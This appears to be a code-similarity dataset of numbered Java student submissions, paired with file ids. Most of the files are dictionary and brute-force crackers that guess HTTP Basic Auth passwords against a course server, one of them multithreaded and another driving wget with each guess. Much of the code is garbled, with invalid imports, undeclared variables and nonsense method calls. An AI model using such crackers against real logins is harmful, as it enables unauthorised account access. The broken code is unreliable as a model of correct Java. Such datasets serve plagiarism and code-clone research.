out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6=( bits24 & 0x00FC0000 )>> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
" "183.java 048.java"
070.java "
import java.misc.BASE64Encoder;
import java.misc.BASE64Decoder;
import java.io.*;
import java.net.*;
import java.util.*;
public class Dictionary {
public Dictionary(String url, String dictionaryFile) {
try{
this.url = url;
this.dictionaryPath = dictionaryFile;
InputStream fis = new FileInputStream(this.dictionaryPath);
dict = new BufferedReader(new InputStreamReader(fis));
}catch(IOException ioe){
System.out.println(""Error opening dictionary file:\n"" +ioe);
}
}
private String url = null;
private String dictionaryPath = null;
private BufferedReader dict = null;
private int attempts = 0;
private int passwordSize = 3;
public void setPasswordSize(int size){
this.passwordSize = size;
}
public String getNextPassword()throws IOException{
String line = dict.readLine();
while(line!=null&&line.length()!=this.passwordSize )
line = dict.readLine();
return line;
}
public String crackPassword(String user) throws IOException, MalformedURLException{
URL url = null;
URLConnection urlConnection = null;
String outcome = null;
String authorization = null;
String password = null;
BASE64Encoder b64enc = new BASE64Encoder();
InputStream content = null;
BufferedReader in = null;
while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){
url = new URL(this.url);
urlConnection = url.openConnection();
urlConnection.setDoInput(true);
urlConnection.setDoOutput(true);
urlConnection.setRequestProperty(""GET"", url.getPath() + "" HTTP/1.1"");
urlConnection.setRequestProperty(""Host"", url.getHost());
password = getNextPassword();
if(password == null)
return null;
System.out.print(password);
authorization = user + "":"" + password;
urlConnection.setRequestProperty(""Authorization"", "" ""+ b64enc.encode(authorization.getBytes()));
outcome = urlConnection.getHeaderField(null);
this.attempts ++;
urlConnection = null;
url = null;
if(this.attempts%51 == 0)
for(int b = 0; b < 53;b++)
System.out.print(""\b \b"");
else
System.out.print(""\b\b\b."");
}
return password;
}
public int getAttempts(){
return this.attempts;
}
public static void main (String[] args) {
if(args.length != 3){
System.out.println(""usage: java attacks.Dictionary <url crack: e.g. http://sec-crack.cs.rmit.edu./SEC/2/> <username: e.g. > <dictionary: e.g. /usr/share/lib/dict/words>"");
System.exit(1);
}
Dictionary dictionary1 = new Dictionary(args[0], args[2]);
try{
Calendar cal1=null, cal2=null;
cal1 = Calendar.getInstance();
System.out.println(""Cracking started at: "" + cal1.getTime().toString());
String password = dictionary1.crackPassword(args[1]);
if(password != null)
System.out.println(""\nPassword is: ""+password);
else
System.out.println(""\nPassword could not retrieved!"");
cal2 = Calendar.getInstance();
System.out.println(""Cracking finished at: "" + cal2.getTime().toString());
Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime());
System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec"");
System.out.println(""Total attempts : "" + dictionary1.getAttempts());
}catch(MalformedURLException mue){
mue.printStackTrace();
}
catch(IOException ioe){
ioe.printStackTrace();
}
}
}" 069.java
107.java "
import java.io.InputStream;
import java.util.Properties;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;
public class WatchdogPropertyHelper {
private static Properties testProps;
public WatchdogPropertyHelper() {
}
public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println(""Error init'ing the watchddog Props"");
e.printStackTrace();
}
return testProps.getProperty(pKey);
}
private static void initProps() throws Exception{
if(testProps == null){
testProps = new Properties();
InputStream fis =
WatchdogPropertyHelper.class.getResourceAsStream(""/watchdog.properties"");
testProps.load(fis);
}
}
}
" "108.java 112.java"
193.java "
import java.io.IOException;
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary
{
static URL url = null;
static URLConnection urlConnection;
static InputStream urlStream;
static String strOneLetterWords[];
static String strTwoLetterWords[];
static String strThreeLetterWords[];
static String strExceptionPassword[];
static String strLastPasswordTested;
static String username = """";
static int intNumberOfOneLetterWords = 0;
static int intNumberOfTwoLetterWords = 0;
static int intNumberOfThreeLetterWords = 0;
static int intExceptionCount = -1;
static int intNumberOfConnectionAttempts = 0;
static int intTotalNumberOfWordsInFile = 0;
public static void main (String args[])
{
Calendar calStart;
Calendar calFinish;
Date dateStart;
Date dateFinish;
lngStart;
lngFinish;
String strLine;
String strTextFileName = ""/usr/share/lib/dict/words"";
boolean boolPasswordFound = false;
boolean boolExceptionPasswordsTestedAgain = false;
String urlString
= ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
int intCounter1;
int intCounter2;
int intCounter3;
int intTotalNumberOfWordsChecked = 0;
calStart = new GregorianCalendar();
dateStart = calStart.getTime();
lngStart = dateStart.getTime();
strExceptionPassword = new String[5000];
getNumberOfVariousLengthsOfWords(strTextFileName);
strOneLetterWords = new String[intNumberOfOneLetterWords];
strTwoLetterWords = new String[intNumberOfTwoLetterWords];
strThreeLetterWords = new String[intNumberOfThreeLetterWords];
populateTheDifferentLengthArrays(strTextFileName);
if (!boolPasswordFound)
{
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound = passwordWasFound(urlString,
strOneLetterWords[intCounter1],
boolPasswordFound);
intCounter1++;
intTotalNumberOfWordsChecked++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound = passwordWasFound(urlString,
strTwoLetterWords[intCounter1],
boolPasswordFound);
intCounter1++;
intTotalNumberOfWordsChecked++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfThreeLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound = passwordWasFound(urlString,
strThreeLetterWords[intCounter1],
boolPasswordFound);
intCounter1++;
intTotalNumberOfWordsChecked++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strOneLetterWords[intCounter1] +
strOneLetterWords[intCounter2],
boolPasswordFound);
intCounter2++;
intTotalNumberOfWordsChecked++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
{
intCounter3 = 0;
while ( (!boolPasswordFound) && (intCounter3 < intNumberOfOneLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strOneLetterWords[intCounter1] +
strOneLetterWords[intCounter2] +
strOneLetterWords[intCounter3],
boolPasswordFound);
intCounter3++;
intTotalNumberOfWordsChecked++;
}
intCounter2++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfOneLetterWords) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intNumberOfTwoLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strOneLetterWords[intCounter1] +
strTwoLetterWords[intCounter2],
boolPasswordFound);
intCounter2++;
intTotalNumberOfWordsChecked++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 < intNumberOfTwoLetterWords) )
{
intCounter2 = 0;
while ( (!boolPasswordFound) && (intCounter2 < intNumberOfOneLetterWords) )
{
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strTwoLetterWords[intCounter1] +
strOneLetterWords[intCounter2],
boolPasswordFound);
intCounter2++;
intTotalNumberOfWordsChecked++;
}
intCounter1++;
}
intCounter1 = 0;
while ( (!boolPasswordFound) && (intCounter1 <= intExceptionCount) )
{
boolExceptionPasswordsTestedAgain = true;
boolPasswordFound = true;
boolPasswordFound
= passwordWasFound(urlString,
strExceptionPassword[intCounter1],
boolPasswordFound);
intCounter1++;
intTotalNumberOfWordsChecked++;
}
}
calFinish = new GregorianCalendar();
dateFinish = calFinish.getTime();
lngFinish = dateFinish.getTime();
System.out.println();
System.out.println();
System.out.println();
System.out.println(""Length of time for processing: "" +
((lngFinish - lngStart) / 1000) +
"" seconds"");
System.out.println();
System.out.println(""Total number of words in dictionary file = "" + intTotalNumberOfWordsInFile);
System.out.println();
System.out.println(""Input file: number of words with one letter length = "" + intNumberOfOneLetterWords);
System.out.println(""Input file: number of words with two letter length = "" + intNumberOfTwoLetterWords);
System.out.println(""Input file: number of words with three letter length = "" + intNumberOfThreeLetterWords);
System.out.println();
System.out.println(""Number of connection attempts = "" + intTotalNumberOfWordsChecked);
System.out.println();
System.out.println(""Number of exceptions thrown = "" + (intExceptionCount + 1));
System.out.println();
if (intExceptionCount >= 0)
{
System.out.print(""These passwords WERE "");
if (boolExceptionPasswordsTestedAgain)
System.out.print(""tested again."");
else
System.out.print(""NOT tested again."");
System.out.println();
}
if (boolPasswordFound)
{
System.out.println(""The correct password WAS found - this password is '"" +
strLastPasswordTested + ""'."");
}
else
{
System.out.println(""The correct password WAS NOT found."");
}
System.out.println();
}
static void getNumberOfVariousLengthsOfWords(String TextFileName)
{
FileReader reader;
BufferedReader inTextFile = null;
String strLine;
int intWordLength;
try
{
reader = new FileReader(TextFileName);
inTextFile = new BufferedReader(reader);
strLine = inTextFile.readLine();
while (strLine != null)
{
intTotalNumberOfWordsInFile++;
strLine = strLine.trim();
intWordLength = strLine.length();
if (intWordLength == 1)
intNumberOfOneLetterWords++;
else if (intWordLength == 2)
intNumberOfTwoLetterWords++;
else if (intWordLength == 3)
intNumberOfThreeLetterWords++;
strLine = inTextFile.readLine();
}
}
catch(FileNotFoundException e)
{
System.out.println();
System.out.println(""The file '"" + TextFileName + ""' cannot found."");
System.out.println();
}
catch(Exception e)
{
}
finally
{
try
{
inTextFile.print();
}
catch(Exception e)
{
}
inTextFile = null;
reader = null;
}
}
static void populateTheDifferentLengthArrays(String TextFileName)
{
FileReader reader;
BufferedReader inTextFile = null;
String strLine;
int intWordLength;
int intCountOfOneLetterWords = -1;
int intCountOfTwoLetterWords = -1;
int intCountOfThreeLetterWords = -1;
try
{
reader = new FileReader(TextFileName);
inTextFile = new BufferedReader(reader);
strLine = inTextFile.readLine();
while (strLine != null)
{
strLine = strLine.trim();
intWordLength = strLine.length();
if (intWordLength == 1)
{
intCountOfOneLetterWords++;
strOneLetterWords[intCountOfOneLetterWords] = strLine;
}
else if (intWordLength == 2)
{
intCountOfTwoLetterWords++;
strTwoLetterWords[intCountOfTwoLetterWords] = strLine;
}
else if (intWordLength == 3)
{
intCountOfThreeLetterWords++;
strThreeLetterWords[intCountOfThreeLetterWords] = strLine;
}
strLine = inTextFile.readLine();
}
}
catch(FileNotFoundException e)
{
System.out.println();
System.out.println(""The file '"" + TextFileName + ""' cannot found."");
System.out.println();
}
catch(Exception e)
{
System.out.println(""Exception thrown...."");
System.err.println(e);
}
finally
{
try
{
inTextFile.print();
}
catch(Exception e)
{
}
inTextFile = null;
reader = null;
}
}
static boolean passwordWasFound(String urlString,
String password,
boolean retVal)
{
String strEncodeInput = username + "":"" + password;
boolean returnValue = retVal;
boolean boolExceptionThrown = false;
try
{
strLastPasswordTested = password;
intNumberOfConnectionAttempts++;
url = new URL(urlString);
String encoding = new url.misc.BASE64Encoder().encode (strEncodeInput.getBytes());
System.out.print(""username = "" +
username +
"" "" +
""password = "" +
password);
HttpURLConnection urlConnection = (HttpURLConnection)url.openConnection();
urlConnection.setRequestProperty(""Authorization"",
"" "" + encoding);
System.out.println("" response = "" + urlConnection.getResponseCode());
if (urlConnection.getResponseCode() == 401)
{
returnValue = false;
}
}
catch (MalformedURLException m)
{
boolExceptionThrown = true;
returnValue = false;
System.err.println(m);
System.out.println(""Malformed URL Exception error"");
}
catch (IOException io)
{
boolExceptionThrown = true;
returnValue = false;
System.out.println(""IOException error"");
System.err.println(io);
}
catch (Exception e)
{
boolExceptionThrown = true;
returnValue = false;
System.out.println(""General exception....."");
System.err.println(e);
}
finally
{
urlConnection = null;
url = null;
}
if (boolExceptionThrown)
{
intExceptionCount++;
strExceptionPassword[intExceptionCount] = password;
}
return returnValue;
}
}" 191.java
043.java "import java.util.*;
import java.io.*;
import javax.swing.text.html.*;
public class WatchDog {
public WatchDog() {
}
public static void main (String args[]) {
DataInputStream newin;
try{
System.out.println(""ishti"");
System.out.println(""Downloading first copy"");
Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O oldfile.html"");
String[] cmdDiff = {""//sh"", ""-c"", ""diff oldfile.html newfile.html > Diff.txt""};
String[] cmdMail = {""//sh"", ""-c"", ""mailx -s \""Diffrence\"" \""@cs.rmit.edu.\"" < Diff.txt""};
while(true){
Thread.sleep(24*60*60*1000);
System.out.println(""Downloading new copy"");
Runtime.getRuntime().exec(""wget http://www.cs.rmit.edu./students/ -O newfile.html"");
Thread.sleep(2000);
Runtime.getRuntime().exec(cmdDiff);
Thread.sleep(2000);
newin = new DataInputStream( new FileInputStream( ""Diff.txt""));
if (newin.readLine() != null){
System.out.println(""Sending Mail"");
Runtime.getRuntime().exec(cmdMail);
Runtime.getRuntime().exec(""cp newfile.html oldfile.html"");
}
}
}
catch(Exception e){
e.printStackTrace();
}
}
}" 251.java
145.java "
import java.net.*;
import java.io.*;
import java.util.*;
public class Dictionary{
private static URL location;
private static String user;
private BufferedReader input;
private static BufferedReader dictionary;
private int maxLetters = 3;
public Dictionary() {
Authenticator.setDefault(new MyAuthenticator ());
startTime = System.currentTimeMillis();
boolean passwordMatched = false;
while (!passwordMatched) {
try {
input = new BufferedReader(new InputStreamReader(location.openStream()));
String line = input.readLine();
while (line != null) {
System.out.println(line);
line = input.readLine();
}
input.close();
passwordMatched = true;
}
catch (ProtocolException e)
{
}
catch (ConnectException e) {
System.out.println(""Failed connect"");
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
}
endTime = System.currentTimeMillis();
System.out.println(""Total Time: ""+cad.concat(Math.toString(endTime - startTime)));
}
private char[] nextPassword() {
String password = new String();
try {
password = dictionary.readLine();
while (password.length() > maxLetters) {
password = dictionary.readLine();
}
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
return password.toCharArray();
}
public static void main(String args[]) {
if (args.length != 3) {
System.out.println(""Usage: java Dictionary url user dictionary"");
System.exit(-1);
}
try {
location = new URL(args[0]);
}
catch (MalformedURLException e) {
e.printStackTrace();
}
user = new String().concat(args[1]);
try {
dictionary = new BufferedReader(new FileReader(args[2]));
}
catch (IOException e) {
e.printStackTrace();
System.exit(-1);
}
new Dictionary();
}
class MyAuthenticator extends Authenticator {
protected PasswordAuthentication getPasswordAuthentication() {
char [] currentPassword = nextPassword();
System.out.print(user.concat(""-""));
System.out.println(currentPassword);
return new PasswordAuthentication (user, currentPassword);
}
}
}
" 143.java
023.java "
public class HoldSharedData
{
private int numOfConnections = 0;
private int startTime;
private int totalTime = 0;
private String[] password;
private int pwdCount;
public HoldSharedData( int time, String[] pwd, int count )
{
startTime = time;
password = pwd;
pwdCount = count;
}
public int getPwdCount()
{
return pwdCount;
}
public void setNumOfConnections( )
{
numOfConnections ++;
}
public int getNumOfConnections()
{
return numOfConnections;
}
public int getStartTime()
{
return startTime;
}
public void setTotalTime( int newTotalTime )
{
totalTime = newTotalTime;
}
public int getTotalTime()
{
return totalTime;
}
public String getPasswordAt( int index )
{
return password[index];
}
}
" 015.java
137.java "
import java.io.*;
import java.net.*;
import java.*;
import java.util.*;
public class Dictionary
{
public static void main( String args[])
{
Runtime t = Runtime.getRuntime();
Process pr = null;
int count=0;
String f,pass,temp1;
try{
FileReader fr = new FileReader(""words.txt"");
BufferedReader bfread = new BufferedReader(fr);
while((bf = bfread.readLine()) != null)
{
if( f.length() < 4 )
{
count++;
System.out.println(""The passowrd tried is------>""+""-->""+count);
pass = f;
f =""wget --http-user= --http-passwd=""+pass+"" http://sec-crack.cs.rmit.edu./SEC/2/"";
pr = t.exec(f);
InputStreamReader stre = new InputStreamReader(pr.getErrorStream());
BufferedReader bread = new BufferedReader(stre);
while( ( bf= bread.readLine())!= null)
{
if(bf.equals(""HTTP request sent, awaiting response... 200 OK""))
{
System.out.println(""Eureka!! Eureka!!! The password has been found it is:""+pass);
System.exit(0);
}
}
}
}
fr.print();
bfread.print();
}catch(IOException e){}
}
}
" 171.java
202.java "
import java.io.*;
import java.util.*;
public class BruteForce
{
private Cracker crack;
private Vector clients;
private int num;
private int bigStart;
public BruteForce()
{
int i, j;
int start, finish;
start=finish = 0;
crack = new Cracker();
crack.loadLetters();
crack.loadPairs();
crack.loadTriples();
num = crack.getVictor().size();
clients = new Vector( num);
j = 0;
bigStart = System.currentTimeMillis();
for( i = 0; i < num; i++)
{
MyClient2 client = new MyClient2(this, i + 1, 80, (String)crack.getVictor().elementAt( i));
clients.add( client);
Thread t = new Thread( client);
t.print();
j++;
if(j == 100)
{
t = System.currentTimeMillis();
System.out.println(""i = ""+i+"" ""+(String)crack.getVictor().elementAt( i));
finish = t;
while( (finish - t ) < 1000)
{
finish = System.currentTimeMillis();
}
j = 0;
}
}
}
public void retire(int MyClient2 )
{
int bigFinish;
bigFinish = t.getTime();
System.out.println("" It took ""+(bigFinish - bigStart)/1000+"" ""+""seconds crack password using brute force"");
System.exit(0);
}
public static void main (String[] args)
{
BruteForce = new BruteForce();
}
}
" 208.java
052.java "
import java.net.*;
import java.io.*;
import java.misc.*;
public class BruteForce
{
public static void main (String args[])
{
char[ ] var = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z'
};
String password;
int m=0;
for(int i=0; i<52; i++)
{
for(int j=0; j<52; j++)
{
for(int k=0; k<52; k++)
{
m++;
password = """";
password = new String(""""+var[i]+var[j]+var[k]);
String a = myurl(""http://sec-crack.cs.rmit.edu./SEC/2"", """", password,m );
}
}
}
}
public static String encode (String source)
{
BASE64Encoder enc = new source.misc.BASE64Encoder();
return(enc.encode(source.getBytes()));
}
public static String myurl (String url, String Name, String Password, int num )
{
String thisLine;
String retVal;
URL u;
URLConnection uc;
retVal = """";
try
{
u = new URL(url);
try
{
uc = u.openConnection();
if (Name != null)
{
uc.setRequestProperty(""Authorization"", "" "" + encode(Name + "":"" + Password));
}
InputStream content = (InputStream)uc.getInputStream();
BufferedReader in = new BufferedReader (new InputStreamReader(content));
String line;
while ((line = in.readLine()) != null)
{
retVal += line;
System.out.println(line);
System.out.println(""password=""+Password+""; number:""+num);
System.exit(0);
}
}
catch (Exception e)
{
}
}
catch (MalformedURLException e)
{
return(url + "" is not a parseable URL"");
}
return retVal;
}
}
" 053.java
062.java "
import java.util.*;
import java.*;
import java.awt.*;
import java.net.*;
import java.io.*;
import java.text.*;
public class BruteForce {
public static String Base64Encode(String s) {
byte[] bb = s.getBytes();
byte[] b = bb;
char[] table = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
'0','1','2','3','4','5','6','7','8','9','+','/' };
if (bb.length % 3!=0) {
int x1 = bb.length;
b = new byte[(x1/3+1)*3];
int x2 = b.length;
for(int i=0;i<x1;i++)
b[i] = bb[i];
for(int i=x1;i<x2;i++)
b[i] = 0;
}
char[] c = new char[b.length/3*4];
int i=0, j=0;
while (i+3<=b.length) {
c[j] = table[(b[i] >> 2)];
c[j+1] = table[(b[i+1] >> 4) | ((b[i] & 3) << 4)];
c[j+2] = table[(b[i+2] >> 6) | ((b[i+1] & 15) << 2)];
c[j+3] = table[(b[i+2] & 63)];
i+=3;
j+=4;
}
j = c.length-1;
while (c[j]=='A') {
c[j]='=';
j--;
}
return String.valueOf(c);
}
public synchronized void getAccumulatedLocalAttempt() {
attempt = 0;
for (int i=0;i<MAXTHREAD;i++) {
attempt += threads[i].getLocalAttempt();
}
}
public synchronized void printStatusReport(String Attempt, String currprogress,String ovrl, double[] attmArr, int idx) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern(""0.00"");
System.out.println();
System.out.println("" ------------------------ [ CURRENT STATISTICS ] ---------------------------"");
System.out.println();
System.out.println("" Current connections : ""+curconn);
System.out.println("" Current progress : ""+attempt+ "" of ""+ALLCOMBI+"" (""+currprogress+""%)"");
System.out.println("" Overall Attempts rate : ""+ovrl+"" attempts second (approx.)"");
System.out.println();
System.out.println("" ---------------------------------------------------------------------------"");
System.out.println();
}
public class MyTT extends TimerTask {
public synchronized void run() {
if (count==REPORT_INTERVAL) {
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern(""0.00"");
getAccumulatedLocalAttempt();
double p = (double)attempt/(double)ALLCOMBI*100;
double aps = (double) (attempt - attm) / REPORT_INTERVAL;
attmArr[attmArrIdx++] = aps;
printStatusReport(String.valueOf(attempt),fmt.format(p),fmt.format(getOverallAttemptPerSec()),attmArr,attmArrIdx);
count = 0;
} else
if (count==0) {
getAccumulatedLocalAttempt();
attm = attempt;
count++;
} else {
count++;
}
}
public synchronized double getOverallAttemptPerSec() {
double val = 0;
for (int i=0;i<attmArrIdx;i++) {
val+= attmArr[i];
}
return val / attmArrIdx;
}
private int count = 0;
private int attm;
private int attmArrIdx = 0;
private double[] attmArr = new double[2*60*60/10];
}
public synchronized void interruptAll(int ID) {
for (int i=0;i<MAXTHREAD;i++) {
if ((threads[i].isAlive()) && (i!=ID)) {
threads[i].interrupt();
}
notifyAll();
}
}
public synchronized void setSuccess(int ID, String p) {
passw = p;
success = ID;
notifyAll();
interruptAll(ID);
end = System.currentTimeMillis();
}
public synchronized boolean isSuccess() {
return (success>=0);
}
public synchronized void waitUntilAllTerminated() {
while (curconn>0) {
try {
wait();
} catch (InterruptedException e) {}
}
}
public synchronized int waitUntilOK2Connect() {
boolean interruptd= false;
int idx = -1;
while (curconn>=MAXCONN) {
try {
wait();
} catch (InterruptedException e) { interruptd = true; }
}
if (!interruptd) {
curconn++;
for (idx=0;idx<MAXCONN;idx++)
if (!connused[idx]) {
connused[idx] = true;
break;
}
notifyAll();
}
return idx;
}
public synchronized void decreaseConn(int idx) {
curconn--;
connused[idx] = false;
notifyAll();
}
public class ThCrack extends Thread {
public ThCrack(int threadID, int startidx, int endidx) {
super("" Thread #""+String.valueOf(threadID)+"": "");
this.ID = threadID;
this.startidx = startidx;
this.endidx = endidx;
setDaemon(true);
}
public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException {
int i ;
String msg;
URL tryURL = new URL(THEURL);
connections[connID]=(HttpURLConnection) tryURL.openConnection();
connections[connID].setRequestProperty(""Authorization"","" ""+Base64Encode(USERNAME+"":""+thePass));
i = connections[connID].getResponseCode();
msg = connections[connID].getResponseMessage();
connections[connID].disconnect();
if (i==HttpURLConnection.HTTP_OK) {
System.out.println(ID+""Trying '""+thePass+""' GOTCHA !!! (= ""+String.valueOf()+""-""+msg+"")."");
setSuccess(this.ID,thePass);
return (true);
} else {
System.out.println(ID+""Trying '""+thePass+""' FAILED (= ""+String.valueOf()+""-""+msg+"")."");
return (false);
}
}
public void rest(int msec) {
try { sleep(msec); } catch (InterruptedException e) {}
}
public String constructPassword( int idx) {
int i = idxLimit.length-2;
boolean processed = false;
String result = """";
while (i>=0) {
if (idx>=idxLimit[i]) {
int nchar = i + 1;
idx-=idxLimit[i];
for (int j=0;j<nchar;j++) {
x = (idx % NCHAR);
result = charset.charAt((int) x) + result;
idx /= NCHAR;
}
break;
}
i--;
}
return result;
}
public String getStartStr() {
return constructPassword(this.startidx);
}
public String getEndStr() {
return constructPassword(this.endidx);
}
public void run() {
i = startidx;
boolean keeprunning = true;
while ((!isSuccess()) && (i<=endidx) && (keeprunning)) {
int idx = waitUntilOK2Connect();
if (idx==-1) {
break;
}
try {
launchRequest(getName(), idx, constructPassword(i));
decreaseConn(idx);
localattempt++;
rest(MAXCONN);
i++;
} catch (InterruptedException e) {
keeprunning = false;
break;
} catch (IOException e) {
decreaseConn(idx);
}
}
if (success==this.ID) {
waitUntilAllTerminated();
}
}
public int getLocalAttempt() {
return localattempt;
}
private int startidx,endidx;
private int ID;
private int localattempt = 0;
}
public void printProgramHeader(String mode,int nThread) {
System.out.println();
System.out.println("" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************"");
System.out.println();
System.out.println("" URL : ""+THEURL);
System.out.println("" Crack Mode : ""+mode);
System.out.println("" Characters : ""+charset);
System.out.println("" . Char : ""+MINCHAR);
System.out.println("" . Char : ""+MAXCHAR);
System.out.println("" # of Thread : ""+nThread);
System.out.println("" Connections : ""+MAXCONN);
System.out.println("" All Combi. : ""+ALLCOMBI);
System.out.println();
System.out.println("" ***************************************************************************"");
System.out.println();
}
public void startNaiveCracking() {
MAXTHREAD = 1;
MAXCONN = 1;
startDistCracking();
}
public void startDistCracking() {
int startidx,endidx;
int thcount;
if (isenhanced) {
printProgramHeader(""ENHANCED BRUTE-FORCE CRACKING ALGORITHM"",MAXTHREAD);
} else {
printProgramHeader(""NAIVE BRUTE-FORCE CRACKING ALGORITHM"",MAXTHREAD);
}
i = System.currentTimeMillis();
idxstart = idxLimit[MINCHAR-1];
if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); }
mult = (ALLCOMBI - idxstart) / MAXTHREAD;
for (thcount=0;thcount<MAXTHREAD-1;thcount++) {
startidx = thcount*mult + idxstart;
endidx = (thcount+1)*mult-1 + idxstart;
threads[thcount] = new ThCrack(thcount, startidx, endidx);
System.out.println(threads[thcount].getName()+"" try crack from '""+threads[thcount].getStartStr()+""' '""+threads[thcount].getEndStr()+""'"");
}
startidx = (MAXTHREAD-1)*mult + idxstart;
endidx = ALLCOMBI-1;
threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx);
System.out.println(threads[MAXTHREAD-1].getName()+"" try crack from '""+threads[MAXTHREAD-1].getStartStr()+""' '""+threads[MAXTHREAD-1].getEndStr()+""'"");
System.out.println();
System.out.println("" ***************************************************************************"");
System.out.println();
for (int i=0;i<MAXTHREAD;i++)
threads[i].print();
}
public BruteForce() {
if (isenhanced) {
startDistCracking();
} else {
startNaiveCracking();
}
reportTimer = new java.util.Timer();
MyTT tt = new MyTT();
reportTimer.schedule(tt,1000,1000);
while ((success==-1) && (attempt<ALLCOMBI)) {
try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { }
}
if (success==-1) {
end = System.currentTimeMillis();
}
getAccumulatedLocalAttempt();
double ovAps = tt.getOverallAttemptPerSec();
DecimalFormat fmt = new DecimalFormat();
fmt.applyPattern(""0.00"");
reportTimer.cancel();
try { Thread.sleep(1000); } catch (InterruptedException e) { }
synchronized (this) {
if (success>=0) {
System.out.println();
System.out.println("" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"");
System.out.println();
System.out.println("" The password is : ""+passw);
System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
System.out.println("" Worstcase time estd : ""+fmt.format(1/ovAps*ALLCOMBI)+ "" seconds"");
System.out.println();
System.out.println("" ***************************************************************************"");
System.out.println();
} else {
System.out.println();
System.out.println("" ********************* [ UNABLE CRACK THE URL !!! ] *********************"");
System.out.println();
System.out.println("" Number of attempts : ""+attempt+"" of ""+ALLCOMBI+"" total combinations"");
System.out.println("" Attempt position : ""+fmt.format((double)attempt/(double)ALLCOMBI*100)+""%"");
System.out.println("" Overal attempt rate : ""+fmt.format(ovAps)+ "" attempts/sec"");
System.out.println("" Cracking time : ""+String.valueOf(((double)end-(double)d)/1000) + "" seconds"");
System.out.println();
System.out.println("" ***************************************************************************"");
System.out.println();
}
}
}
public static void printSyntax() {
System.out.println();
System.out.println(""Syntax : BruteForce [mode] [URL] [charset] [] [] [username]"");
System.out.println();
System.out.println("" mode : (opt) 0 - NAIVE Brute force mode"");
System.out.println("" (trying from the first the last combinations)"");
System.out.println("" 1 - ENHANCED Brute force mode"");
System.out.println("" (dividing cracking jobs multiple threads) (default)"");
System.out.println("" URL : (opt) the URL crack "");
System.out.println("" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"");
System.out.println("" charset : (optional) the character set used crack."");
System.out.println("" - (default)"");
System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"");
System.out.println("" -alphanum "");
System.out.println("" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"");
System.out.println("" -alphalow "");
System.out.println("" abcdefghijklmnopqrstuvwxyz"");
System.out.println("" -alphaup "");
System.out.println("" ABCDEFGHIJKLMNOPQRSTUVWXYZ"");
System.out.println("" -number "");
System.out.println("" 1234567890"");
